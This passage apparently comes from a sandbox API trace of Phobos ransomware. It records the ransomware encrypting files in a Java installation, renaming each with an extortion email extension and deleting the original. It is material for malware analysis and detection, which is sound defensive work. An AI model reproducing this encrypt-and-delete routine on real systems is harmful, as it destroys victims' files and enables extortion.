Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.748] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=142400) returned 1 [0178.748] CloseHandle (hObject=0x2cc) returned 1 [0178.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0178.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.750] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.751] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.787] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d19d0) returned 1 [0178.787] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.787] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x22c40, lpOverlapped=0x0) returned 1 [0178.830] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x22c50, dwBufLen=0x22c50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x22c50) returned 1 [0178.830] WriteFile (in: hFile=0x2d8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x22c50, lpOverlapped=0x0) returned 1 [0178.833] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d16d0) returned 1 [0178.833] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.833] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50, dwBufLen=0x50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50) returned 1 [0178.833] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0178.833] WriteFile (in: hFile=0x2d8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x102, lpOverlapped=0x0) returned 1 [0178.833] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0178.833] CloseHandle (hObject=0x2e4) returned 1 [0178.833] CloseHandle (hObject=0x2d8) returned 1 [0178.833] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1 [0178.836] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0178.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.836] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=187392) returned 1 [0178.837] CloseHandle (hObject=0x2d8) returned 1 [0178.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0178.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0178.837] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.837] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.838] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d19d0) returned 1 [0178.838] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.838] ReadFile (in: hFile=0x2d8, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x2dc00, lpOverlapped=0x0) returned 1 [0178.987] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2dc10, dwBufLen=0x2dc10 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2dc10) returned 1 [0178.988] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x2dc10, lpOverlapped=0x0) returned 1 [0178.991] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1710) returned 1 [0178.991] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.991] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0178.991] CryptDestroyKey (hKey=0x1d1710) returned 1 [0178.991] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0178.991] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0178.991] CloseHandle (hObject=0x2d8) returned 1 [0178.991] CloseHandle (hObject=0x2e4) returned 1 [0178.991] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1 [0179.133] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0179.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0179.137] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=69184) returned 1 [0179.137] CloseHandle (hObject=0x2cc) returned 1 [0179.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0179.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0179.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0179.137] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0179.137] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0179.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0179.143] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1850) returned 1 [0179.143] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0179.143] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x10e40, lpOverlapped=0x0) returned 1 [0179.309] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x10e50, dwBufLen=0x10e50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x10e50) returned 1 [0179.309] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x10e50, lpOverlapped=0x0) returned 1 [0179.310] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1710) returned 1 [0179.310] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0179.310] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0179.310] CryptDestroyKey (hKey=0x1d1710) returned 1 [0179.310] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0179.311] CryptDestroyKey (hKey=0x1d1850) returned 1 [0179.311] CloseHandle (hObject=0x2cc) returned 1 [0179.311] CloseHandle (hObject=0x2e4) returned 1 [0179.311] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1 [0179.345] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0179.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0179.345] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=128064) returned 1 [0179.345] CloseHandle (hObject=0x2e4) returned 1 [0179.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0179.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0179.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0179.346] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0179.346] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0179.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0179.346] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d14d0) returned 1 [0179.346] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0179.347] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x1f440, lpOverlapped=0x0) returned 1 [0180.406] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1f450, dwBufLen=0x1f450 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1f450) returned 1 [0180.406] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x1f450, lpOverlapped=0x0) returned 1 [0180.409] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1590) returned 1 [0180.409] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.409] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0180.409] CryptDestroyKey (hKey=0x1d1590) returned 1 [0180.409] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0180.409] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0180.409] CloseHandle (hObject=0x2e4) returned 1 [0180.409] CloseHandle (hObject=0x2cc) returned 1 [0180.409] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1 [0180.411] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0180.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0180.411] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=319552) returned 1 [0180.412] CloseHandle (hObject=0x2cc) returned 1 [0180.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0180.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0180.412] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.412] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0180.412] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a10) returned 1 [0180.412] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.412] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x4e040, lpOverlapped=0x0) returned 1 [0180.819] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4e050, dwBufLen=0x4e050 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4e050) returned 1 [0180.819] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x4e050, lpOverlapped=0x0) returned 1 [0180.824] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1850) returned 1 [0180.826] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.826] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0180.826] CryptDestroyKey (hKey=0x1d1850) returned 1 [0180.826] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0180.826] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0180.826] CloseHandle (hObject=0x2cc) returned 1 [0180.826] CloseHandle (hObject=0x2e4) returned 1 [0180.827] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0180.830] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0180.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0180.831] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=15424) returned 1 [0180.831] CloseHandle (hObject=0x2e4) returned 1 [0180.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0180.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0180.831] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.831] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0180.831] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1410) returned 1 [0180.832] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.832] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x3c40, 